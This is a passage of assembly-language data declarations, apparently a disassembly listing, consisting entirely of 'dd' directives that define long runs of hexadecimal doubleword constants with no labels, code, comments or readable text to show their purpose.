		dd 0B0DB3381h, 48ED22C3h, 752598F8h, 2CFFB5F8h,	6561646Eh
		dd 7BC2AB43h, 8E46D504h, 0EADC57B9h, 0AD901A45h, 0E2FFE0C2h
		dd 520AD5h, 5DC5DC8Fh, 0B38EC78Eh, 3590E6B1h, 3DB2A2DBh
		dd 0FBD959A8h, 0E5163ADEh, 0D511C00h, 204522ACh, 0C0D3573Ch
		dd 0BED163A7h, 8F3FA088h, 0AA5DD35Eh, 2AE71DAAh, 5CE270D4h
		dd 0FF81090Eh, 0E9D8838Eh, 0C6C63AEBh, 72224B77h, 0CE057C21h
		dd 210CE042h, 0E5844874h, 3097A054h, 495F3DAEh,	72747E8Ah
		dd 0F009ECDBh, 0F9841188h, 3A5F1950h, 5F6CAE4h,	94F47912h
		dd 409BC487h, 49D3AE24h, 57B6758h, 7586D95Ch, 0DF1649F0h
		dd 23EE9A80h, 0FA2C7BAEh, 61E5955Ah, 0C626B68Fh, 4C59C446h
		dd 0F86B67D4h, 0C6457FFCh, 75D0114Fh, 0AD5EDD51h, 0A06137BDh
		dd 3C101A2Bh, 7AFE3B8Ch, 9E5217DCh, 0BABCD391h,	1C220B1Eh
		dd 0AD6074ADh, 46BF939Eh, 2B1DFE62h, 77E4EE99h,	1EA77C5Eh
		dd 0FCB743F9h, 0B7F16196h, 4B683FEDh, 0CDFFAF34h, 0B92B508Ch
		dd 5491E2Dh, 20F3B3DBh,	0DD106ECDh, 0DA441507h,	0D01BA4D6h
		dd 1CB9B7C6h, 0C36F7DA8h, 967DF34Dh, 3BC3C8C9h,	0F0CA1E6Ch
		dd 61618177h, 0A59FD3E8h, 26137A16h, 5D6A284Fh,	695F1B91h
		dd 0F8C03BEAh, 56587001h, 0EE590F8Bh, 0E7578183h, 0FD4A4796h
		dd 52E005F7h, 59A359AFh, 0EB621966h, 0B6B4589Fh, 2CB92644h
		dd 3ED22FB3h, 96873B4h,	0AD116D30h, 61544426h, 0B678CD8Bh
		dd 0D643A690h, 0C5401CBh, 6FFED97h, 6F00A437h, 5A50C86Fh
		dd 0AE8B9FDCh, 775D8AF3h, 0CD2EEAB9h, 54F0747Dh, 5159C806h
		dd 9FF51DA1h, 0DF2B1930h, 0F0BDA1D6h, 0AF7DC10Dh, 0C580EAA8h
		dd 1D48C20h, 52C8D2BFh,	0CCC08B24h, 3A872CB3h, 7FC2A502h
		dd 40FA8DEDh, 770826FBh, 4463CD6Dh, 97B603B6h, 0D8B2424Eh
		dd 0F5D539B0h, 0D6547513h, 49FE4636h, 0E0B1F02Ch, 78B736FCh
		dd 0C2BDE02Dh, 3C34C9A5h, 81522C86h, 0FCDEB2BAh, 3682B3FDh
		dd 8B5087BEh, 0DAF8195h, 0C205ADE6h, 0B6731A27h, 7033194Ah
		dd 0FDD85BA5h, 47CB7262h, 33BFD804h, 0A7BC7D24h, 0F8A8F962h
		dd 38A8586Bh, 6948FB06h, 0A2CD9C2Bh, 50CC7BCAh,	0E9C2D5D8h
		dd 0A2CC5EE7h, 5A93AC4Dh, 86FE0350h, 0B12F098Eh, 892FDA42h
		dd 2D9917B5h, 0FEB01B9Eh, 5067EED1h, 127828Dh, 8A72BFBFh
		dd 7B8D44h, 386F1890h, 0E3713A5Bh, 0BCB727EEh, 0E76E58A5h
		dd 55C2CCAFh, 0E9B71BEAh, 6313797Eh, 26938370h,	68A5EB6Fh
		dd 0ECFF3E1Eh, 7E73282Ch, 6FC88E39h, 460FB00h, 8B1F5004h
		dd 7172DCC9h, 0CA8F5636h, 4EC16ED5h, 0D6D80FAAh, 0BBF7FB67h
		dd 0B07BF3AFh, 1BA6310Dh, 2C89BEAAh, 0A0C6580h,	3BE85F50h
		dd 8F1EC760h, 188A04C0h, 328A7EDFh, 8C76F092h, 8EBB7A7Eh
		dd 0D7293832h, 89A410FAh, 8ECFD08Fh, 9C8B6E3h, 0AD758D22h
		dd 0B4928303h, 1C0FFCDFh, 35BB6B10h, 0A448F644h, 0BBE0B5ADh
		dd 0EA9C0B3Dh, 48D4F9Ch, 0AFB94875h, 0DECE98E6h, 810D34CFh
		dd 6EBA1563h, 0C8D99003h, 2CB8A6B2h, 5D7DDED1h,	0B40AED8Ch
		dd 5578E78Dh, 0AB086B8Ch, 242BA6DDh, 0D437E3B0h, 4E324CC9h
		dd 93D56DAAh, 0DF2F136Fh, 0BE75E864h, 9D01F5h, 2885D47Bh
		dd 0BDF19AC7h, 99C8E56Dh, 0DA2944A0h, 0C7EC1A2Bh, 0EB2BF8C1h
		dd 0EDD63CB0h, 4E377E0Fh, 3BAA78Fh, 618B560h, 0A4476BA8h
		dd 14798A1h, 0D9C4546Eh, 0A91629A2h, 3678B13h, 1466722Eh
		dd 437F0BB8h, 4CCDD0ACh, 6C819ADCh, 650AF0ABh, 0ED5D2F5Ch
		dd 25192375h, 6C1BD3D3h, 27F82E97h, 3248C3D1h, 82425FC6h
		dd 30F5668Fh, 0BC85E4C4h, 3ACD0720h, 8B39A739h,	75AC68AAh
		dd 3BCDB237h, 7AEAC2C7h, 501A177Fh, 862A6293h, 890CC367h
		dd 0AF8E7922h, 0F5C56C26h, 0C15F06D0h, 0A83F1B10h, 77E1D769h
		dd 54A1DB21h, 4D22819Ch, 0DF7049BAh, 331EFE1Ah,	0F63BAC01h
		dd 53AF4850h, 35F8BA8Bh, 0F52E90EAh, 0B9747A7Bh, 6167F6CAh
		dd 53A98F01h, 8078930Ch, 211D4715h, 6FFBE4D8h, 0B26D51ACh
		dd 12F9D1D5h, 86F31D7Bh, 2245AF3Dh, 5B93AC6Ch, 9B8C318Dh
		dd 3990F090h, 0D4FFF4B0h, 1998B891h, 0B83C7C4Bh, 0EEFE8019h
		dd 1179EECh, 7915AF1Bh,	92E9C72Ch, 7EE073C9h, 8753ACBh
		dd 0AEEDFCC9h, 14C5E13Eh, 694EE45Eh, 0A224FFE9h, 3529707Eh
		dd 0E98095D8h, 3C51EFB2h, 6F0F53E6h, 56F8B49Eh,	0BBC26F85h
		dd 3E7061E4h, 319BFDBh,	77E8DB3Ah, 0CDB6DDACh, 0E93C6A6Bh
		dd 0BC4294FFh, 48DF1784h, 32919370h, 35DD2890h,	8CF55C74h
		dd 31E3E6E0h, 376E8725h, 0A8B2A6E9h, 3056E327h,	0B079CE20h
		dd 4AF48078h, 0BFC6B96Dh, 4BC30ACDh, 0D408B527h, 0A4F24334h
		dd 0F2E324E6h, 0C2D79198h, 0FB282D8h, 88B07FDh,	0FF218FACh
		dd 0DB330E9Fh, 0D9762674h, 0D5FA032Ah, 856340E6h, 1633F5D6h
		dd 96A1F0B6h, 2E85CB89h, 49177327h, 0B11AF47Bh,	0CD752532h
		dd 30C524A9h, 0AF0F7D1h, 1462D40h, 2A1CEEC9h, 11110147h
		dd 0F18F1882h, 0CAC4D968h, 0AC16A911h, 626C79EBh, 334B9E67h
		dd 6F0EF4A2h, 27363A43h
		dd 0E8AE0B1Fh, 62D96ECh, 4E0118A5h, 0C0C983B9h,	851D5BBBh
		dd 0AFCF896Bh, 1F49FD1Fh, 0D3533119h, 96C07FB2h, 5B54966h
		dd 51A87AB9h, 8311FEEDh, 1F0BD31h, 30AEAFB8h, 63DE99Dh
		dd 7EDC67E9h, 1E3A6761h, 0B2DEC0D2h, 0D7FA6011h, 0FA5ABE42h
		dd 970D2D82h, 0FE205FC6h, 0BE63E0DDh, 4F5DAF9Eh, 0BBA6CF45h
		dd 8CB6DC20h, 0B7E61E6Ah, 757B1EBBh, 0D22431E0h, 0F780F110h
		dd 6061D499h, 13434519h, 95BA7A6Fh, 8E8C21DEh, 0D51CD147h
		dd 0A0BA0EDCh, 58268160h, 2E8D92D7h, 0AD2D092h,	0D79F597h
		dd 7F987EADh, 95813CACh, 0FA4933E1h, 2F1AF681h,	0C60FDE65h
		dd 72DE8515h, 0C1A9BB66h, 0C280548Fh, 84853298h, 794D04C8h
		dd 0A7D765BEh, 97052091h, 227F9EECh, 746DB49Eh,	0E1C30A4Ah
		dd 7C4383E6h, 99005C5Bh, 3E53060Bh, 3690328Ah, 0D4F4FA8Dh
		dd 2156AD41h, 2BFC55EBh, 0CF77DA74h, 0D417FDB8h, 90886033h
		dd 0E965E578h, 0DC301425h, 2F04EA03h, 1B4F047Ah, 1D8281F8h
		dd 71247008h, 4689382Ah, 595C44CFh, 3E13EECCh, 72E34857h
		dd 202E521h, 8542D951h,	50934FB2h, 0CBF05A89h, 1D66D96Ch
		dd 6FDA7532h, 6B3E5784h, 4ACDA7D1h, 0C030B7D1h,	10251DC8h
		dd 0E8918443h, 856D48B1h, 8E45454Bh, 0D18904Bh,	71A339CDh
		dd 5DCDA06Fh, 5346A4B8h, 0EB4C4AEBh, 201BFE72h,	3FC1D47Dh
		dd 0E084146Ch, 0E5EB3F78h, 33244AFAh, 8A321A54h, 0F889847Eh
		dd 4724767Fh, 7BDD922Ch, 80D4B7D4h, 43DAFCB4h, 33CCAF5Ah
		dd 3DE7A163h, 8DF9533Ah, 702497D3h, 0CED5C1EFh,	2B790360h
		dd 8AB6988Bh, 691A71A0h, 0B02F9BF6h, 9756916Ah,	0E02827CBh
		dd 89993438h, 0AA7FD650h, 0D209263Eh, 0E88D80Dh, 0E8D1F08h
		dd 85C09B08h, 44E19AADh, 140E5664h, 4E0A3E99h, 9842D837h
		dd 0D043C549h, 0ACD40D63h, 89E5F93Bh, 1F9470D9h, 82286B00h
		dd 0F610E50Fh, 3ACD51B5h, 0E925DAA9h, 0B53879B5h, 5815198Ah
		dd 42CE43DFh, 0AC5F3A8Bh, 6191A198h, 941C2A42h,	6C1B6489h
		dd 6BF6B20Ah, 788C58FAh, 17F60A75h, 16F4559Bh, 0F0F3DA37h
		dd 0CBB8443Fh, 563A65F0h, 0A0B2462Eh, 5CD28ED4h, 61582C3Eh
		dd 0EE193E93h, 93A44AF8h, 2B2CC46h, 372F949Eh, 2339CE7Fh
		dd 8264E798h, 0C67907A4h, 0F3C7B3E8h, 10A2EC45h, 79A9190Ah
		dd 0F8F30AD0h, 2A9F3EB6h, 0B187A5E9h, 8E6B876Ch, 0A260E89Fh
		dd 574EF346h, 63A2F32Eh, 982FF95Dh, 64B31001h, 851842D0h
		dd 3C5B7F0Fh, 483F5955h, 6C0DF74Eh, 6FFFE873h, 8C882699h
		dd 46EB59CFh, 1A04179Fh, 0C90EB352h, 21B230Ah, 60DEEBAFh
		dd 15A9EE70h, 80B738CAh, 3836A16Eh, 92D4D5ABh, 1EE2E05Fh
		dd 2475EDDFh, 4FEF381Fh, 0DC4947D7h, 31518A3Eh,	21945AC1h
		dd 0F6A6419Bh, 93029F98h, 0B141637Fh, 672C7A20h, 381DA899h
		dd 9C233616h, 0A434F122h, 80BED49Fh, 5217527Dh,	758F871Ch
		dd 0A80669D9h, 758AE6F3h, 516E6553h, 0B237CB2Fh, 0C335958Eh
		dd 5AFBB4A1h, 44E9BF0Ch, 303D046Eh, 64AAAD07h, 460A523Bh
		dd 25F0AB6Fh, 7623E3A1h, 0EF8FE9B8h, 1E343DDCh,	0AC8ADEE7h
		dd 0A224CA26h, 1E3F2F0Bh, 12E58562h, 87183567h,	0EEC69FB7h
		dd 0E735F4ABh, 0BE689C71h, 8595B9FBh, 0BBDD43A7h, 642B62BBh
		dd 3208053Ah, 5D4510A6h, 86BC53EBh, 6CF64003h, 0DD226B20h
		dd 3CD4F040h, 0C1F59854h, 381EF736h, 0D1B4481h,	0C3697B49h
		dd 77B73DC1h, 0F4EFB256h, 1F817A3Fh, 6AF9204Eh,	0CE53DBE3h
		dd 0B87359C3h, 4DD94178h, 91F7583Fh, 0CBFB5066h, 0B4874568h
		dd 7EB70849h, 5DD8FAD0h, 399ABC63h, 364046D8h, 0D3090355h
		dd 697FF71Fh, 9FF58F97h, 0A02AA534h, 52F7F267h,	0AAF5E67Ah
		dd 4D9B8BF8h, 5D9B4DF0h, 34D5F8D9h, 98FD1302h, 62DB8343h
		dd 5E49C0ACh, 36DE04EFh, 5E6D236Eh, 37A755EFh, 7501A1C4h
		dd 7DBF781Ch, 9F949A1Ch, 231460D2h, 0C95B889Eh,	0B2933FD6h
		dd 244AD65Bh, 0E5C346F9h, 0F61DAAC4h, 8A777B6h,	51736A5Fh
		dd 0C34858A0h, 27599498h, 82A4FFE2h, 0F32C3A8Bh, 357361B3h
		dd 39A312CEh, 36AD5119h, 9A5146DFh, 85C9E5FFh, 0BFFECD67h
		dd 61EE32E3h, 0D983C9C8h, 5544CE4Fh, 971DBC83h,	54CCBD4Ah
		dd 0E24B128Ah, 0A35C113Dh, 8642FDFFh, 0A384848h, 0F6243C46h
		dd 5B7BCB7Dh, 92A32D75h, 0A7A52E28h, 5B196E99h,	70980DCFh
		dd 6B15B7B0h, 666F06DBh, 5FCD6AE9h, 0D0D81BD8h,	67968A70h
		dd 507DE076h, 0FB84E6D7h, 9415F626h, 0FE60C3FFh, 7B8E5F67h
		dd 2FB050CAh, 0C7DFDFF4h, 0A6583AAFh, 2BBA87B5h, 2188CC12h
		dd 0F02D98BBh, 4A0BAEC0h, 5AB68DB7h, 0FAAFD3F7h, 53D42B6h
		dd 0CC69BD5h, 41E75C94h, 94724960h, 51A3E919h, 0D76A0732h
		dd 95909ED2h, 1E48BEDFh, 3B16E1E2h, 0B79C54Fh, 5EE1824Bh
		dd 0BFDA7948h, 31EBA9BEh, 787F8C2Ch, 2B9EFA8Fh,	0A79F8366h
		dd 0DC5B547Bh, 3F8BA1B1h, 0C0F1D047h, 2318C336h, 46A82575h
		dd 5A1096B5h, 8D5346CDh, 0E880C84Ah, 0C4C6B711h, 0E87FEBF5h
		dd 9D581186h, 80270981h, 42DA8230h, 0A16D04CDh,	92A229E4h
		dd 49E16C40h, 2D648DAh,	0B1492870h, 0BB0FE726h,	0E69CB3C3h
		dd 805C9761h, 0DB00345Bh, 0BEAC77Fh, 0FAE67C65h, 9DEBCE21h
		dd 0A12550CCh, 0B76EBCE5h, 0E2623C2h, 17D80C9Eh, 0D7B59BADh
		dd 94216636h, 2BAFE625h, 5839A207h, 6BCEFFAFh, 0E450695Fh
		dd 0D75D4F02h, 0D8B3CCCEh, 16219540h, 0D0307A61h, 4F5AF9A2h
		dd 0C50CA820h, 517519E4h, 64BAE1DAh, 4F11D8C6h,	5BC63C28h
		dd 13F59FCh, 0E6314893h, 5BB01B78h, 8ABA3621h, 7805B797h
		dd 394E5763h, 0C46CC778h, 7A74FFCh, 0A1C5A066h,	4B58AACCh
		dd 9661B3CEh, 0D874F7D9h, 0EBA182C0h, 0C2F34F3Ch, 0DBCE6F95h
		dd 75D776C7h, 1662F01Bh, 0F74505D3h, 2A7773B9h,	9B0B176Ch
		dd 22848B6Ch, 9DC3F253h, 0D5B2B8ACh, 48867782h,	70B37C82h
		dd 31FE89DCh, 893408CDh, 0B288F06h, 0B6E4B3F3h,	0A9B81CD6h
		dd 19FF8B2Eh, 0A94C42E7h, 0E4E93A5Eh, 385490D3h, 0CA335E5Fh
		dd 0B59C24F6h, 0FA5783CFh, 6DD074ACh, 0E586F54Fh, 0CF22513Ch
		dd 5FFF93ABh, 0B531B514h, 46185517h, 1BF3472Eh,	0E8F0D60Fh
		dd 8C281F66h, 258540h, 0AF78DC49h, 13881E4Fh, 219AE7ACh
		dd 48EDBCA1h, 0A8CF73A2h, 0B4E84DE6h, 2F6F2630h, 0B95F6AD0h
		dd 0F6219129h, 983A3F6Fh, 186F2C31h, 2119BE72h,	0F2215CB5h
		dd 67B9F842h, 6E5BD91h,	398534Ch, 0AA820FCEh, 17C5773Fh
		dd 0BAFCC84Fh, 0F2117545h, 49E105D6h, 0CAD96C2Eh, 4E410069h
		dd 0F0D59919h, 0BA587A77h, 11341029h, 0F0AF1ABCh, 78389B82h
		dd 542118CEh, 7992A4B6h, 0A11391F5h, 9174E741h,	59FD7AA5h
		dd 215D1333h, 877D3493h, 6063DEBEh, 0D882B252h,	0BC0390C0h
		dd 3AF3C303h, 9267F1C0h, 73176C12h, 13FC435Ah, 579619CEh
		dd 61CA57C2h, 36AFA44Eh, 758EE99Dh, 0EC33D2ECh,	0EBE9866Eh
		dd 72DEF954h, 0DA3E2ED6h, 7A69BDD3h, 7588CED0h,	0F7E32AEEh
		dd 0CE170987h, 1C5E2383h, 0FCF5FBh, 38A95528h, 0F8836070h
		dd 8EEA52FFh, 0C290ADDBh, 32C896A8h, 0DC2FDC49h, 91D198B5h
		dd 8FA6AD8Dh, 5708DC67h, 0C4C7EF00h, 0C81078E3h, 0B13F4192h
		dd 0B04EA867h, 0D7AC0FA4h, 9997D96Ah, 82B13780h, 49E09E77h
		dd 33D1C493h, 35FF5905h, 830EB699h, 2748FDFEh, 0F89BAA98h
		dd 45DD6FD3h, 0ABA0AD2Ah, 0F34BAA01h, 9D20A56Fh, 71B39ED9h
		dd 6BD32C35h, 808FF8C7h
		dd 0E25F4756h, 0F7D4A918h, 0DB4FE68h, 0BF8DA1AEh, 0F22FF60Bh
		dd 0E273647h, 0CD678A36h, 1DA3AD89h, 56EC19ECh,	6F858643h
		dd 5C808065h, 0E71D6004h, 46B7D287h, 0C20A5B9Ch, 94AE6D76h
		dd 0C37FABD3h, 0E1AF4BBAh, 1F296D79h, 99C31D27h, 77029B4Dh
		dd 8305A20Bh, 0BBFE0F17h, 6F96C3Dh, 322CD45Dh, 4B4D4FB0h
		dd 6617216Eh, 230AB5DFh, 63732579h, 0DD111D6Fh,	8457E001h
		dd 5FE61F8Dh, 9760B1A1h, 0C1DD2857h, 0AB64DCB9h, 9D529F9h
		dd 44F9C02Ch, 8606CE60h, 5E94863Fh, 3C9E7C84h, 4C1D27Ch
		dd 0C3E1E04Eh, 0FEBAFDEh, 3FEC912Fh, 0D75DD554h, 5496FC7h
		dd 17D875FDh, 83FD6F2Eh, 37DD26ADh, 53011F11h, 0E6DA7B1Dh
		dd 0A1F2518Ch, 8798FE18h, 755F669Fh, 874D457Fh,	4000593Dh
		dd 0E3B205B7h, 0C84B71Ch, 211C03C1h, 1AE9A4Fh, 6086AD70h
		dd 5914FDD8h, 0DF670C47h, 0A773EC02h, 0F08688C4h, 71FB1BC8h
		dd 91DD1BC8h, 0BF8A2FD2h, 0B69CD2EDh, 39DBD8E3h, 0DF17EAECh
		dd 801106DEh, 0C6EDD177h, 976638E5h, 2349487Fh,	7BD1DC0Bh
		dd 58F71AEDh, 70951FA8h, 0B55E4B50h, 0A357A984h, 0A80D13C6h
		dd 3C0E1D2h, 0D1C8A9EAh, 0ECF664C3h, 0FBA58342h, 5140D05Bh
		dd 0A5AD753Ch, 5054408Ah, 0C2F07E31h, 1D5AE913h, 0A78AF244h
		dd 0A27E6745h, 363BB078h, 7D9F8659h, 0F12894D9h, 4332E211h
		dd 0C7CA02ABh, 438CA1FCh, 60D917D6h, 35DD48BDh,	8ECBA3D9h
		dd 5BFA72D5h, 66506BA5h, 0CBBF2ACh, 0C20DA038h,	2DDF7298h
		dd 18D6D7DBh, 0B2781536h, 0AF78FA62h, 0BA261FE8h, 0FF955AB0h
		dd 96C44100h, 8AE8FF82h, 0E74AD4FAh, 0E2187B2Bh, 6B3F75ACh
		dd 7AA2BA17h, 1FF9ED4h,	5B8F4F52h, 8ABF55A7h, 0F5CF832Dh
		dd 0B370D58Ch, 39C36EE7h, 609C6F34h, 0A9387480h, 683BA4EFh
		dd 0F43D3775h, 5C5F903Eh, 31977DEEh, 84CA65AAh,	0F50F7C29h
		dd 595E7C66h, 0D7D9115Fh, 0B73643BAh, 8009F7FCh, 2D61CDEBh
		dd 0A3F051C5h, 0E8749AE4h, 4861FD98h, 0DF247275h, 309B71ECh
		dd 0C1872E0Bh, 3F72E7BEh, 598041BDh, 0AF51E915h, 0F645862Ch
		dd 851EDD10h, 469E45C5h, 0D93A20C5h, 342ED19Bh,	0A7F8C355h
		dd 78296634h, 0D2E6E13Eh, 3F8463F8h, 113BBA26h,	30BD257Ch
		dd 1FB58875h, 0D17D47BEh, 35D6457Ch, 754D7D45h,	46161418h
		dd 0E14400A3h, 2F63D12h, 0D59AD475h, 5C6800B4h,	504E6941h
		dd 6468B4F8h, 43C932EBh, 2647EC7h, 0E384DA98h, 10822118h
		dd 6A12CBACh, 9A902E37h, 3781CB5Fh, 45B0A634h, 9A651329h
		dd 37C9FD30h, 99FDD035h, 4F9CEC8Eh, 0AC0A627Ch,	0D47F9B33h
		dd 9AD32A18h, 305DE969h, 0CA736F80h, 0FCA2D17Bh, 630EA2D3h
		dd 366C834Dh, 98DAD0D3h, 0FC3AEA95h, 5218A47Bh,	0D72D3DD5h
		dd 0D9C0F196h, 3C34A61Ah, 1DA3A254h, 32F4BBCh, 6D80E0A8h
		dd 85313E07h, 0AB514420h, 95513D1Eh, 41ACA3A6h,	9FB44B1Bh
		dd 0DC5D9ACEh, 21751A06h, 9FFBBDC2h, 573AE7F5h,	0C8C23E34h
		dd 44EC80E4h, 385180F2h, 540BBA44h, 0F56E85ABh,	458B62D6h
		dd 98BC6186h, 0B599E5Dh, 0C445263Bh, 71D98709h,	5586C76h
		dd 30EB8D25h, 30D96A04h, 0ECF2C37Ah, 373EB281h,	5A7A7351h
		dd 0CDFBE6F0h, 28791783h, 20B3C3Fh, 4EE3FA24h, 48EFC4DBh
		dd 244EE889h, 4C147187h, 0A929D6Eh, 0F63C589Ch,	0A5BBE869h
		dd 82DE1A6h, 0B0BFE83Eh, 0C2C0C78Fh, 77B09E51h,	2610CC6h
		dd 0CE0566E7h, 476A2E3h, 591B9118h, 0DDCCA631h,	5862B77h
		dd 7667BE37h, 3FCAB173h, 0D2C102F1h, 0E7E7E3A3h, 0DBB00F3Ch
		dd 185BB964h, 0C704F305h, 7698AF78h, 0BF87FA3Fh, 0CF7EB008h
		dd 11E54CC0h, 158539EEh, 1050EB1Eh, 0B5EAC45Ch,	6E227D58h
		dd 0D44F4D41h, 0A281E655h, 0B5296B32h, 3DB2EED5h, 42BC0563h
		dd 1383C39Ch, 938AA95Ch, 0B60D6959h, 0A7F9B921h, 16C3BF2Dh
		dd 99433530h, 25B6FE07h, 70B5235Ch, 0A79C53B3h,	0FEF03D65h
		dd 7BACD4A9h, 5CCFC0C6h, 988C8D31h, 0C6A206CDh,	0A9706A2Ah
		dd 2E7D98C8h, 1BD90326h, 0EC48CF65h, 0E350F7F4h, 0E27574D2h
		dd 87648639h, 60230912h, 0F97312CDh, 0F3E09F3Ch, 40DF5BFh
		dd 173D2675h, 0CC6E7300h, 18E93579h, 0F77EB998h, 70E41EABh
		dd 396BFB9Dh, 58D213Ch,	8D4896C5h, 2B355DD9h, 0F8B60ABDh
		dd 1AC1BB26h, 0EE09B8A9h, 89D6C488h, 0B628E04Bh, 2328F934h
		dd 0BB11EA17h, 0D5F85E6h, 36F61A8Ch, 8EC1DE07h,	0EA44B42Dh
		dd 0D839AFD2h, 929E6E6Bh, 4C78898Fh, 0FF455823h, 6765DB3h
		dd 0D58BD94Bh, 0AA343FBFh, 0C56F8A49h, 82387B6Ch, 0DF8212AAh
		dd 27C29E8h, 0CF27B385h, 0F8793293h, 0EAB71760h, 6ECBD10Ah
		dd 354E2E07h, 673C9F3Bh, 464858Ch, 9D5D352Ch, 0C2180444h
		dd 4D99ACEDh, 0E4B04DA8h, 164C354Dh, 6DC4BAA6h,	18F13F8Dh
		dd 5AB621C7h, 0B3805AB4h, 355F3872h, 3FE84510h,	0D5BC6E27h
		dd 97C3FFA0h, 0D67832h,	42CE71D4h, 865D5AADh, 8E752A9Ah
		dd 8A30B0B9h, 0BC18C065h, 4D752CD9h, 0C1D0AE5Dh, 0AA38FFF7h
		dd 0C5C8E29Ah, 19E592F7h, 1356BC5Bh, 0F1C55D4Fh, 0F03EB1F9h
		dd 81DF48h, 0E1191BF2h,	7014B016h, 0DEE25A18h, 31FF075Ah
		dd 4BD02172h, 0B0AC903Ah, 57AB1136h, 2407D677h,	0D17EB944h
		dd 8C0864BBh, 0DEBEFD3Ch, 9595D35Ch, 26D9490Ah,	1059F811h
		dd 8D69084Ah, 0E63B7FE8h, 29026858h, 1094400h, 219F07EBh
		dd 275FCC07h, 56388CB9h, 821C2D43h, 3BD21A15h, 3849D181h
		dd 1A90251Fh, 331AD57Dh, 57C27F97h, 6BA5077Ah, 64E8508h
		dd 7BD487Ah, 0A2C3A1A7h, 25EA9F74h, 16B3EB01h, 23EC7E56h
		dd 493617DEh, 87C8C004h, 64363655h, 0A7CF0467h,	7233D980h
		dd 0B09421CFh, 0C7DB9BDCh, 0A45D06Ah, 8589701Eh, 5C35247Bh
		dd 9333CB0Ah, 0E2A20AE1h, 8B1B30BDh, 26FE7611h,	0BA573FD4h
		dd 0FB94DEF5h, 642762E9h, 179E79ABh, 0A817E557h, 0B0C9938Fh
		dd 51695754h, 13CE6497h, 7868FF4Ah, 55D10Dh, 3DCCA32Ah
		dd 801022C1h, 135AD8B1h, 0F2E7767Ah, 39D1B43Ch,	0DDDE397Ch
		dd 0F7E900A1h, 0C8A792B5h, 8560116Fh, 4E47D73Fh, 0EFC84348h
		dd 0A88C6E0Dh, 0F8C8C840h, 0B7C365Dh, 978DB73Dh, 185B66E1h
		dd 5AD093FFh, 0A56F0276h, 0C9FD6A6Bh, 5C7A97F5h, 2B994713h
		dd 237CCD8Bh, 29C1B3EAh, 9298CD4Dh, 0D038BA3Bh,	696FE0E2h
		dd 0A66FB27Bh, 16700F3Dh, 0C9BC46AEh, 828C05A3h, 0C076AABAh
		dd 0EC89E7F3h, 0D1C26C14h, 1162770Ah, 66B6CDC2h, 0B2FEFE21h
		dd 0A66EA673h, 0E01870E6h, 4CB0A0C5h, 0AF67B2B2h, 903E8834h
		dd 5CA62691h, 2694B0BEh, 0F0145294h, 35DD37F2h,	4C6B672h
		dd 0C3E301F5h, 480CD8B3h, 99988319h, 0BAB4D306h, 1CCF94C7h
		dd 0CBE732C0h, 0D470F049h, 878B4BCDh, 32382B4Eh, 6CAB9691h
		dd 0F58B6860h, 0A5FF5D5Fh, 0A61C9E61h, 0EE93D7D4h, 0AE210103h
		dd 0F3AEE3Ah, 0EED95202h, 0C2799653h, 0E6407A49h, 4C7E6EF3h
		dd 3B74EAEAh, 5EE80EA1h, 19159049h, 0C74E0BD9h,	240E047Ch
		dd 0E33C55BDh, 5D37EBBAh, 656B13E4h, 0FFE87DABh, 4004C941h
		dd 76E41DC9h, 23F4118Eh, 52B4B3F7h, 0A7F82639h,	0D2D7EEEFh
		dd 97F02CC8h, 9DAFB06Dh, 5297B10Bh, 48F0159Ch, 6C9A74FDh
		dd 19F67EBFh, 9B8BD92Ah, 84DE87Bh, 0C2E18694h, 668AF3F9h
		dd 8DC68EE1h, 65611E6h,	34630967h, 0B4C8AC87h, 77494D2Bh
		dd 0CA4A4937h, 0FAA7D056h, 0E76F3826h, 4F7C22B6h, 0A92C859Eh
		dd 0E11D2B05h, 0B0B07498h
		dd 0DD2110EDh, 46DA036Ah, 70EBBB1Ch, 3F7DC664h,	0CB567169h
		dd 0E07637F5h, 0DC23AB60h, 0BE522A9Dh, 0C0654C0Bh, 6385814Bh
		dd 0D4856C47h, 0E2E7B512h, 9BA970C9h, 0BEB951C4h, 3375B92Dh
		dd 0A07B49Bh, 0E40EA2F2h, 6E9C4BA4h, 0C66CA69Dh, 9130304Fh
		dd 7587651h, 8B35BBB2h,	2AE6E8B4h, 5442340Fh, 6CF24CEBh
		dd 96988ED8h, 242DD720h, 0A49AD117h, 0A67F550Dh, 0A802CE59h
		dd 0A25DF7E6h, 4839E474h, 0AA903035h, 1596636Ah, 6A0833Bh
		dd 0EADA9F05h, 3D783621h, 0B43C30C7h, 105F9DD8h, 2A0CA5Eh
		dd 191588DFh, 0DF4A26A4h, 0C53713B3h, 461CD598h, 428F1AEDh
		dd 0C7648DFAh, 43E4A12Ah, 0E61BEA53h, 34BE19D7h, 0CAD89D71h
		dd 3EFADB93h, 19B6E3EFh, 0FCE564BEh, 51E49947h,	7B034A1Dh
		dd 64C5351Ch, 5CF0D87h,	6B834721h, 493BF352h, 57838439h
		dd 1D7DA83Bh, 0F41C8A05h, 68F896B6h, 98E568E0h,	28322940h
		dd 0CAE92602h, 5DBC28D2h, 3D5021EDh, 290E247Fh,	7D20D047h
		dd 83070Bh, 33B3FF25h, 869B972Bh, 0BEEE492Bh, 86104522h
		dd 0CD5EB559h, 0FDE89609h, 2CB3CCF0h, 0D1A1F507h, 2794A56Dh
		dd 0C74F6CEBh, 911713F7h, 0F7A8FF7Bh, 4CB1981Eh, 0CCA71229h
		dd 79B23FA1h, 0F5F39A5Fh, 0BC259DC1h, 8207D6D0h, 8DEFD1C0h
		dd 0A25CB44Bh, 276B7738h, 41E886E4h, 9E7CFBEh, 4A8B388Bh
		dd 0D0ECC478h, 0D63FD0DBh, 94926E89h, 9AE981B5h, 0E4F68528h
		dd 0A9AEEA96h, 0A92C4B8Ah, 79A57E1Eh, 0DD6B058Dh, 47212D75h
		dd 0EB881EA9h, 3EF739F7h, 0B54BFBB7h, 9CD13D0Dh, 8E9D5DB8h
		dd 0FC2E1002h, 7592D0E1h, 24D541B2h, 0B8585AE6h, 0E5ACBFEFh
		dd 35E1CCEBh, 280FCAA7h, 61B24CD0h, 383111E8h, 62EBF441h
		dd 42736A81h, 70B01A20h, 0F65E3C03h, 0F51D30E4h, 0FA0EEB8Bh
		dd 0EE21EBBh, 673DA92Ah, 43CAA973h, 69378C17h, 9C68B540h
		dd 6DA3AA01h, 3E4116CFh, 9CA98DE0h, 91CCAA46h, 0A5D64F65h
		dd 90AE6E6Ch, 0A78E4026h, 1FCECD72h, 91E78095h,	0FA78D2E9h
		dd 810F9F2Bh, 7C78F109h, 0D6F53D57h, 0B9CAB9D7h, 3CAA939h
		dd 3B173269h, 0C10284E8h, 7B415C68h, 0E1CFE195h, 0D36701Eh
